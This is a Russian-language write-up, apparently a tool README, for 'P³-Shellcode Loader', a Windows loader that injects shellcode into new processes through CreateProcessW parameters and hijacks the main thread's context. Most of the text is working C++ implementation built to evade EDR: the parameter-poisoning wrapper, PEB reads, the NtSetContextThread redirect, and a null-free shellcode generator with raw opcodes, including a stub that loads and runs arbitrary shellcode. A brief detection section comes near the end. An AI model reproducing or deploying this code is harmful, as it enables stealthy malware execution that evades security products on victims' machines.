
P³-Shellcode Loader — это загрузчик, реализующий технику внедрения кода, которая использует структуру Process Parameters в качестве места выполнения и промежуточного хранения для инъекции шеллкода в удаленные процессы, не активируя стандартные механизмы обнаружения.
Авторы: Макс Хиршбергер и Огулкан Угур
P³-Shellcode Loader — это загрузчик, реализующий технику внедрения кода, которая использует структуру параметров процесса (отравление параметров процесса) в качестве места выполнения и временного хранения для внедрения шелл-кода в удалённые процессы, не запуская типичные механизмы обнаружения.
Похожая концепция была описана исследователем безопасности modexp, который показал, что аргументы, передаваемые в API CreateProcess, могут быть использованы для этой цели [1].
Злоумышленники стремятся сделать свои действия менее подозрительными. С помощью внедрения в процесс они могут выполнять свои действия из другого, более доверенного процесса или такого, который ожидаемо выполняет данное действие, тем самым снижая подозрения.
Ниже перечислены типичные шаги, необходимые для внедрения кода в другой процесс:
OpenProcess / NtOpenProcess или CreateProcess / NtCreateProcess).VirtualAllocEx или NtAllocateVirtualMemory).WriteProcessMemory / NtWriteVirtualMemory).VirtualProtectEx / NtProtectVirtualMemory).CreateRemoteThread или NtCreateThreadEx).Дополнительные техники внедрения включают, помимо прочего, следующие:
NtSetContextThread).NtQueueApcThread).RtlCreateProcessReflection, реализующим ветвление процессов.
В ходе нашего тестирования мы заметили, что большинство EDR ориентируются на определённую телеметрию для обнаружения внедрения процессов. EDR в первую очередь отслеживают использование WriteProcessMemory и VirtualAllocEx, а также их базовые системные вызовы ядра NtWriteVirtualMemory, NtAllocateVirtualMemory и NtAllocateVirtualMemoryEx.Windows предоставляет функцию API CreateProcessW для создания новых процессов, показанную в листинге 1. Первые три её параметра — lpCommandLine, lpEnvironment и lpStartupInfo — важны для описываемой техники внедрения, поскольку они используются для передачи данных в новый процесс.```c
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*Листинг 1: Определение функции CreateProcessW Windows API*
Параметр `lpCommandLine` задает командную строку для нового процесса. Он ограничен максимумом 32 767 символов Unicode, включая завершающий нулевой символ Unicode. Для варианта Unicode необходимо предоставить строку, в которую функция может выполнять запись. Если передается константная строка, любые попытки записи со стороны API-функции приведут к нарушению прав доступа к памяти. Если значение равно `NULL`, командная строка процесса будет взята из параметра `lpApplicationName`. Если `lpApplicationName` равен `NULL`, она должна быть указана в поле `lpCommandLine` и ограничена `MAX_PATH` символами.
Параметр `lpEnvironment` предоставляет процессу список переменных окружения. Если значение равно `NULL`, будет использоваться окружение создающего процесса. Список переменных окружения состоит из последовательных строк, завершающихся нулевым символом, в формате `NAME=VALUE` с еще одним нулевым символом в конце.
Параметр `lpStartupInfo` представляет собой структуру, показанную в Листинге 2, с такими полями, как оконная станция, рабочий стол, дескрипторы стандартного ввода и вывода, а также поля, настраивающие главное окно нового процесса. Согласно документации Microsoft, поле `lpReserved` зарезервировано для внутреннего использования и не документировано. В ходе анализа с помощью отладчика WinDbg удалось связать этот параметр с переменной `ShellInfo` типа `UNICODE_STRING` в новом процессе.```c
typedef struct _STARTUPINFOW {
DWORD cb;
LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING)
LPWSTR lpDesktop;
LPWSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
// (...) additional fields
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
// (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;
Листинг 2: Структура данных STARTUPINFOW
При создании нового процесса все переданные параметры процесса записываются в блок среды процесса (PEB). PEB — это структура данных, которая присутствует во всех процессах и уникальна для каждого процесса. Доступ к параметрам можно получить через элемент ProcessParameters типа RTL_USER_PROCESS_PARAMETERS. Помимо параметров процесса, эта структура также включает дополнительную информацию времени выполнения, такую как список загруженных модулей. Структура PEB и соответствующие параметры процесса в RTL_USER_PROCESS_PARAMETERS показаны в листингах 3 и 4.```c
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// (...) additional fields
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
// (...) additional fields
} PEB, *PPEB;
*Листинг 3: Структура данных PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
// (...) additional fields
CURDIR CurrentDirectory;
UNICODE_STRING DllPath; // Potential candidate for transfer
UNICODE_STRING ImagePathName; // Potential candidate for transfer
UNICODE_STRING CommandLine; // Primary candidate for transfer
PVOID Environment; // Primary candidate for transfer
// (...) additional fields
UNICODE_STRING ShellInfo; // Primary candidate for transfer
// (lpReserved in STARTUPINFO)
UNICODE_STRING RuntimeData; // Potential candidate for transfer
// (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
Листинг 4: Структура данных RTL_USER_PROCESS_PARAMETERS
На Рисунке 1 показан параметр ShellInfo с отравленным значением, переданным в поле lpReserved структуры STARTUPINFOW. Кроме того, на Рисунке 2 показана управляемая командная строка в инструменте System Informer.
Рисунок 1: Отравленный параметр ShellInfo
Рисунок 2: Отравленная командная строка
Поскольку существует несколько параметров, которые могут быть использованы для копирования вредоносного кода, функция-обёртка в Листинге 5 создаёт процесс с отравленным аргументом, переданным выбранному параметру процесса. При запуске реализованного инжектора этот выбор можно сделать, как показано на Рисунке 3. Кроме того, можно указать любое значение для целевого приложения, которое будет использовано в lpApplication, с подсказкой пользователю, показанной на Рисунке 4.```cpp
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
*Листинг 5: Реализация CreateProcessWithPoison*
Эта функция реализует три различных варианта параметров:
1. **Внедрение в ShellInfo:** Помещает отраву в поле `lpReserved` параметра `lpStartupInfo`, которое будет скопировано в переменную `ShellInfo` в PEB.
2. **Внедрение в окружение:** Помещает отраву в параметр `lpEnvironment` с флагом `CREATE_UNICODE_ENVIRONMENT`.
3. **Внедрение в командную строку:** Помещает отраву в параметр `lpCommandLine` функции `CreateProcessW`.
<img width="753" height="445" alt="изображение" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />
*Рисунок 3: Выбор отравляемого параметра*
<img width="752" height="167" alt="изображение" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />
*Рисунок 4: Выбор целевого исполняемого приложения*
### 4.2 Локализация внедренных данных в новом процессе
После успешного создания процесса внедренные данные можно найти через структуру PEB. Для локализации отравы в новом процессе необходимо выполнить следующие три шага.
Сначала определяется начальный адрес структуры PEB путем вызова `NtQueryInformationProcess`. `NtQueryInformationProcess` извлекает структуру данных `PROCESS_BASIC_INFORMATION` при вызове с классом информации `ProcessBasicInformation`. А `PROCESS_BASIC_INFORMATION` содержит адрес PEB в поле `PebBaseAddress`. Этот шаг показан в Листинге 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
pi.hProcess, // Handle of the new process
ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
&pbi, // Destination
sizeof(pbi), // Size of the destination
&retLen // Resulting size of what was read
);
Листинг 6: Первый шаг поиска внедренных данных
На втором этапе структура PEB считывается вызовом NtReadVirtualMemoryEx с начальным адресом структуры, полученной на первом этапе. Реализация второго этапа показана в Листинге 7.```cpp
PEB pebLocal = { 0 };
SIZE_T bytesRead;
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of the new process
pbi.PebBaseAddress, // Starting address of the PEB
&pebLocal, // Destination / Local copy of the PEB
sizeof(pebLocal), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
*Листинг 7: Второй шаг локализации внедренных данных*
После чтения PEB, поле `ProcessParameters` содержит начальный адрес структуры `RTL_USER_PROCESS_PARAMETERS` в новом процессе. На третьем шаге эта структура также читается из нового процесса. Указатели на внедренные данные находятся внутри этой структуры. Третий шаг показан в Листинге 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of target process
pebLocal.ProcessParameters, // ProcessParameters address in target
¶meters, // Output buffer / Local copy
sizeof(parameters), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
Листинг 8: Третий шаг по определению местоположения внедрённых данных
Данный подход использует только API чтения памяти и не использует API записи или выделения, на которых сосредоточены EDR. Однако существует одно ограничение, накладываемое параметрами. Поскольку эти параметры являются строками, завершающимися нулевым символом, только шелл-код без нулевого терминатора может быть полностью передан. Решение для преодоления этого ограничения приведено в разделе 5.
После передачи кода выполнение процесса всё ещё должно быть направлено на этот код. Кроме того, необходимо изменить защиту памяти внедрённых данных, поскольку параметры не помещаются в области, помеченные как исполняемые.
Для изменения защиты используется Windows API NtProtectVirtualMemory, чтобы изменить защиту с только чтения и записи на только чтение и исполнение.
Для перенаправления выполнения кода на шелл-код существуют следующие три метода:
CreateRemoteThread / NtCreateThreadEx: Создание нового потока, который начинается с шелл-кодаQueueUserAPC / NtQueueApcThread: Постановка в очередь APC на существующем потоке, что в итоге перенаправляет его на шелл-кодПри первоначальной реализации этого метода подход Dirty Vanity был оценён для выполнения кода. Однако несколько EDR вызвали тревогу в связи с этим методом.
Детальный анализ реализации RtlCreateProcessReflection показал, что она вызывает NtWriteVirtualMemory и NtCreateThreadEx. По сути, она создает поток в целевом процессе для выполнения функции внутри ntdll.dll. Эта функция как создает форкнутый процесс путем вызова RtlCloneUserProcess, так и выполняет запись в память форкнутого процесса.
Поскольку NtWriteVirtualMemory является одним из основных индикаторов, используемых EDR, метод Dirty Vanity лишь вызывает подозрения сверх необходимого.
Вместо этого используется манипуляция контекстом основного потока, поскольку она предоставляет следующие преимущества по сравнению с Dirty Vanity:
CreateProcessW уже предоставляет действительный дескриптор основного потока в структуре PROCESS_INFORMATION. Дескриптор — это абстрактный объект ссылки, который ядро предоставляет для взаимодействия с системными ресурсами, такими как процессы, потоки и файлы. Дескрипторы, по сути, являются индексами в таблицах дескрипторов, специфичных для процесса, которые сопоставляют каждый дескриптор с объектом в ядре с соответствующим уровнем доступа к объекту.NtWriteVirtualMemory, VirtualAllocEx и CreateRemoteThread никогда не используются, вызывается только NtSetContextThread.Контекст потока — это состояние всех регистров процессора. Таким образом, можно перенаправить поток выполнения потока, манипулируя его контекстом, т.е. изменяя регистр указателя инструкций. Обычно контекст потока манипулируется следующим образом:
SuspendThread, либо созданием его в приостановленном состоянииCONTEXT через GetThreadContextRIPSetThreadContextResumeThread для возобновления выполнения потока с новым значением RIPКонтекст потока можно изменить без его предварительной приостановки. Поэтому нет необходимости вызывать SuspendThread и ResumeThread, которые могут отслеживаться EDR для обнаружения внедрения процессов. Кроме того, вызов GetThreadContext также можно пропустить, если предыдущее выполнение не нужно восстанавливать позднее. Полученная реализация показана в листинге 9.```cpp
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
NTSTATUS status = 0;
status = winapi.NtGetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
return status;
}
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
return status;
}
return 0;
}
*Listing 9: Манипуляция контекстом потока в ThreadSetExec*
### 4.4 Реализованные инъекции полезной нагрузки
Наша реализация данной техники инъекции включает четыре следующих варианта полезной нагрузки, показанные на Рисунке 5.
1. Первый вариант — это простой демонстрационный пример, отображающий всплывающее окно, показанный на Рисунке 5. Для этого варианта не требуются дальнейшие шеллкод или исполняемые файлы для инъекции.
2. Второй вариант принимает шестнадцатеричное представление шеллкода и выполняет его инъекцию. Если шеллкод содержит нулевые байты, инъекция осуществляется методом, описанным в Разделе 5.
3. Третий вариант принимает путь к DLL-файлу, который затем передаётся в `LoadLibraryA` в целевом процессе.
4. Наконец, четвёртый вариант загружает необработанный шеллкод по HTTP(S) URL и также обрабатывает ограничение нулевых байт.
<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />
*Рисунок 5: Выбор инжектируемого шеллкода*
<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />
*Рисунок 6: Окно сообщения, созданное шеллкодом*
---
## 5. Передача произвольного шеллкода в строке
Невозможно передать произвольные данные в параметрах. Это связано с тем, что копируются только данные до нулевого терминатора. Чтобы преодолеть это ограничение, мы создали генератор шеллкода, который не генерирует нулевые терминаторы.
Этот генератор шеллкода может создавать шеллкод для вызова `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` или `NtSuspendThread` с произвольными параметрами. Кроме того, он может генерировать шеллкод, который декодирует произвольный второй этап шеллкода и переходит к нему.
Он реализован в C++ классе `ShellCodeWriter` с частными вспомогательными методами и открытыми методами для предоставленной функциональности. Детали реализации будут объяснены далее.
### 5.1 Вспомогательные методы низкого уровня, используемые генератором шеллкода
`Xor` используется как примитив, позволяющий шеллкоду генерировать любые данные, включая нулевые байты. Этот примитив реализован во вспомогательном методе `SetRAXXOR`, который принимает два 64-битных значения. Он создаёт шеллкод, выполняющий операцию xor с заданными 64-битными значениями и сохраняющий результат в регистре `RAX`.
Дополнительный вспомогательный метод `SetRAX` создаёт эти два 64-битных значения, которые при xor дают заданное значение. Он также гарантирует, что эти два 64-битных значения не содержат нулевых байтов. По сути, `SetRAX` генерирует шеллкод, который устанавливает регистр `RAX` в произвольное 64-битное значение.
Оба метода `SetRAXXOR` и `SetRAX` показаны в Листинге 10. Кроме того, результирующий машинный код трёх примеров вызовов `SetRAX` показан в Листинге 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] =
"\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
// Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
for (int i = 0; i < 8; i++)
{
if (((uint8_t*)(&value))[i] == 0x01)
{
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
Листинг 10: Реализация SetRAXXOR и SetRAX```asm ; SetRAX(0) xor rax, rax
; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15
; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15
*Листинг 11: Примеры кода, генерируемого SetRAX*
`SetRAX` является основой для вспомогательных методов `PushValue`, `PushBuffer`, `SetArgRegister` и `SetArgRegisterStackRelative`. `PushValue` вызывает `SetRAX` и добавляет инструкцию `push RAX`, что позволяет помещать произвольные значения в стек. `PushBuffer` использует `PushValue` для записи произвольного массива байтов в стек; для этого он разбивает данные на 64-битные значения и помещает их в обратном порядке. Порядок должен быть обратным, так как указатель стека уменьшается после каждого push. Генератор шелл-кода отслеживает количество помещённых байтов с помощью переменной `m_total_consumed_stack_bytes`. Эта переменная используется во вспомогательном методе `FreeStack` для очистки стека, возвращая указатель стека к его исходному значению.
В двоичном интерфейсе приложений Windows 64 бит x86 регистры `RCX`, `RDX`, `R8` и `R9` используются для первых четырёх аргументов при вызове функции. Дополнительные аргументы помещаются в стек после 32-байтового теневого пространства. Теневое пространство зарезервировано для вызываемой функции и используется для сохранения первых четырёх регистров аргументов. `SetArgRegister` и `SetArgRegisterStackRelative` используются для установки одного из этих четырёх регистров аргументов. `SetArgRegister` устанавливает заданный регистр в произвольное постоянное значение. А код, генерируемый `SetArgRegisterStackRelative`, записывает указатель стека плюс постоянное смещение в соответствующий регистр аргумента. Любые дополнительные аргументы функции могут быть помещены с помощью вспомогательного метода `PushValue`.
Вспомогательный метод `Call` генерирует код, который выравнивает указатель стека до 16 байт, затем выполняет вызов по заданному адресу и, наконец, отменяет любые изменения выравнивания, сделанные изначально. Указатель стека, выровненный по 16 байт, необходим для предотвращения сбоев в функциях, использующих операции с регистрами XMM с плавающей запятой. При вызове функций с аргументами, передаваемыми через стек, выравнивание должно быть правильным до вызова этого вспомогательного метода. В противном случае аргументы окажутся по неправильному смещению в стеке.
### 5.2 Реализация операций более высокого уровня
Простейшей операцией является вызов `NtTerminateProcess` или `NtSuspendThread`. Из-за их сходства будет рассмотрен только `NtTerminateProcess`, что показано в Листинге 12. `NtTerminateProcess` принимает два параметра и следует соглашению о вызовах x64. Сначала вызывается вспомогательный метод `SetArgRegister` для обоих параметров, чтобы инициализировать их переданными значениями. Затем вызывается функция API.
Поскольку шелл-код генерируется на той же машине, адрес функции разрешается во время генерации, а не внутри шелл-кода. Разрешение функций API обрабатывается классом `WinApiResolver`. Наконец, вспомогательный метод `Call` генерирует инструкцию вызова и код выравнивания стека.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
}
Listing 12: Реализация ShellCodeWriter::CallTerminateProcess
Функции, принимающие указатели, такие как LoadLibraryA и MessageBoxA, не могут использоваться таким же образом. Это связано с тем, что требуется действительный адрес памяти, который неизвестен на момент генерации шеллкода. Поэтому используется вспомогательная функция SetArgRegisterStackRelative для установки аргумента на адрес в стеке. В Listing 13 строка параметра модуля записывается в стек, а первый регистр аргумента устанавливается так, чтобы указывать на начало строки модуля в стеке. Кроме того, функция смещает указатель стека на 32 байта для учёта теневого пространства. Без этого вызванная функция перезаписала бы строку модуля.```cpp
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
*Listing 13: Реализация ShellCodeWriter::CallLoadLibraryA*
Наконец, `LoadAndCallShellCode` принимает произвольный шеллкод, который может содержать нулевые байты, и выполняет его. Его реализация показана в Listing 14 и 15 и разделена на следующие пять операций:
1. Произвольный шеллкод записывается в стек через `PushBuffer`. После этого выделяется теневой стек для защиты шеллкода от перезаписи.
2. Затем выполняется простой вызов `VirtualAlloc` с параметрами, уже известными на момент генерации. Этот вызов API выделяет память с защитой чтения/записи, которая может вместить шеллкод.
3. После этого адрес памяти, возвращённый из `VirtualAlloc`, сохраняется в два регистра `R12` и `R10`. Затем `R11` инициализируется размером шеллкода, а `RCX` устанавливается для указания на начало шеллкода. После установки регистров `R10`, `R11` и `RCX` следуют шесть инструкций, выполняющих копирование памяти — копирование шеллкода в только что выделенную область памяти.
4. Переход к шеллкоду пока невозможен, так как область памяти защищена только для чтения/записи. Можно выделить область с защитой чтения/записи и исполнения, но это, скорее всего, будет сочтено подозрительным. Поэтому вызывается `VirtualProtect` для изменения защиты на чтение и выполнение, но не запись.
5. И наконец, выполняется переход к шеллкоду после проверки правильного выравнивания стека.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
// 1. Pushes the shellcode to the stack
PushBuffer(shellcode.data(), shellcode.size());
int pos_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// 2. Allocates READWRITE memory
CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
{ // 3. Copies shellcode from the stack to the newly allocated area
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size());
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc =
"\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
// (...)
Листинг 14: Реализация ShellCodeWriter::LoadAndCallShellCode (шаги 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }
if (m_total_consumed_stack_bytes % 16)
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}
*Listing 15: Реализация ShellCodeWriter::LoadAndCallShellCode (шаги 4–5)*
---
## 6. Преимущества обхода обнаружения данной техникой
Одним из главных преимуществ данной техники является то, что процессы не создаются в приостановленном состоянии, а потоки или процессы не приостанавливаются во время её выполнения. Создание приостановленных процессов или повторные вызовы `SuspendThread` являются известными индикаторами, используемыми EDR для процесса hollowing, внедрения процессов и аналогичных атак.
Кроме того, при создании целевого процесса дескриптор основного потока уже доступен и имеет необходимые права для изменения его контекста.
| Аспект | Классическое внедрение | Отравление параметров процесса |
|---|---|---|
| Выделение памяти | Требуется `VirtualAllocEx` | Нет явного выделения |
| Запись памяти | Требуется `WriteProcessMemory` | Косвенно через `CreateProcessW` |
| Перенаправление выполнения | `CreateRemoteThread` или APC | `SetThreadContext` |
| Вероятность обнаружения | Высокая (много подозрительных API) | Снижена (легитимное создание процессов) |
| Телеметрия EDR | Тщательно отслеживается | Пониженная наблюдаемость |
В целом, данная техника вызывает гораздо меньше подозрений, так как оставляет меньший след благодаря использованию легитимных API создания процессов и управления потоками.
---
## 7. Подход к обнаружению
Существует несколько подозрительных индикаторов, порождаемых данной техникой, которые можно использовать для её обнаружения.
- `VirtualProtectEx`, который делает область памяти исполняемой, с последующим вызовом `SetThreadContext` по крайней мере с флагом `CONTEXT_CONTROL`. Стоит отметить, что указатель инструкции не обязательно должен указывать на эту исполняемую область, так как он может указывать на гаджет, который затем перенаправляет его. Однако весьма вероятно, что указатель на область памяти записывается в один из регистров ЦП.
- `VirtualProtectEx`, который делает страницы параметров процесса исполняемыми, как в собственном процессе, так и во внешних процессах.
- Создание процесса, где один из трёх злоупотребляемых параметров вызывает подозрение. Например, если энтропия командной строки близка к энтропии шелл-кода или далека от энтропии нормального значения командной строки. Кроме того, длина переданного параметра чрезмерна или в нём присутствует много необычных символов. Однако полагаться только на это, скорее всего, приведёт к ложным срабатываниям.
- Чтение структуры параметров процесса удалённого процесса, на которую указывает PEB.
---
## 8. Заключение
В итоге, злоумышленники могут обходить современные решения безопасности с помощью новых идей и небольших модификаций, либо разрабатывая новые техники, либо применяя старые техники новыми способами. Поэтому важно постоянно разрабатывать новые правила обнаружения и не полагаться исключительно на существующее решение.
---
## 9. Ссылки
[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/